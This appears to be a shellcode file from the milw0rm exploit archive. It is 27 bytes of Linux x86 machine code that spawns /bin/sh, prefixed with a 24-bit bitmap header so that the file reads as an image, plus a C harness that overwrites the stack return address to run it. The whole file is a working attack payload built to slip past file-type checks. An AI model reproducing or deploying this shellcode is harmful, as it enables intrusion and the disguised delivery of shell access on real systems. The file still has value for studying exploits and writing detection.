44 lines
No EOL
1 KiB
C
44 lines
No EOL
1 KiB
C
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/*
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* (linux/x86) - execve("/bin/sh", ["/bin/sh", NULL]) + Bitmap 24bit Header - 27 bytes
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*
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* root@magicbox:~# file linux-sh-bm24bhdr.bin
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* linux-sh-bm24bhdr.bin: PC bitmap data
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*
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* - izik <izik@tty64.org>
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*/
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char shellcode[] =
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//
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// Bitmap 24bit Header (4 bytes)
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//
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"\x42" // inc %edx
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"\x4d" // dec %ebp
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"\x36" // ss
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"\x91" // xchg %eax,%ecx
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//
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// execve("/bin/sh", ["/bin/sh", NULL]);
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//
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"\x6a\x0b" // push $0xb
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"\x58" // pop %eax
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"\x99" // cltd
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"\x52" // push %edx
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"\x68\x2f\x2f\x73\x68" // push $0x68732f2f
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"\x68\x2f\x62\x69\x6e" // push $0x6e69622f
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"\x89\xe3" // mov %esp,%ebx
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"\x52" // push %edx
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"\x53" // push %ebx
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"\x89\xe1" // mov %esp,%ecx
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"\xcd\x80"; // int $0x80
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int main(int argc, char **argv) {
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int *ret;
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ret = (int *)&ret + 2;
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(*ret) = (int) shellcode;
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}
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// milw0rm.com [2006-04-17]
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